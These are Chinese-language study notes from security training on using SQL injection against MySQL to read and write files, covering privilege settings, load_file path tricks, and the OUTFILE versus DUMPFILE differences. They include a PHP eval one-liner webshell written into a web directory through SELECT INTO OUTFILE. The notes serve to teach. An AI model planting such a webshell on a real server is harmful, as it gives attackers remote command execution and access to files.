SQL注入有直接SQL注入,也有文件读写时的注入,后者的主要目的在于获取webshell或盗取重要文件。
在MySQL5.5.53中,File_priv默认为yes
My.ini配置文件中本没有max_allowed_packet这一项,可以通过添加来修改可读写文件大小,然后重启MySQL。
My.ini配置文件中也没有secure_file_priv这一项,默认为不允许读写磁盘中任何未知的文件,也就是说默认值为NULL。
可以通过在my.ini中添加secure_file_priv这一项来许可文件读写。
显示结果的意思是︰本地登录的root账户拥有所有数据库中所有表的所有权限。
如何给用户分配权限︰
grant权限on数据库.数据表to ‘用户’@‘主机名’;例︰给从所有主机登陆的any账户分配所有的权限grant all on . to ‘any’@’%’;
load_file,后面的路径可以是单引号、Ox、char转换的字符。这而记得路径中的斜杠是/而不是\。
outfile后面不能接Ox开头或者char转换以后的路径,只能是单引号路径。这个问题在php注入中更加麻烦,因为会自动将单引号转义成’,那么基本没的玩了。
outfile 一句话(经典): select ‘<?phpeval($_POST[cmd])?>’ into outfile’D:/PHPnow-1.5.4/htdocs/index2.php’ ;
关于/和\,读文件时只能用/,写文件时两者都可以。但是写文件时,如果用了\,MySQL会自动去除一个l,因此需要写成\才行。
into dumpfile它只能导出一行数据,并不常用,用于导出一条数据,通常写入第二条的时候出错,但第二条内容已被写入文件。
outfile函数可以导出多行,而dumpfile只能导出一行数据。
outfile函数在将数据写到文件里时有特殊的格式转换,而dumpfile则保持原数据格式。
dumpfile适用于二进制文件,它会将目标文件吸入同一行内; outfile则更适用于文本文件。
文章参考哔哩哔哩奇安信网络安全培训视频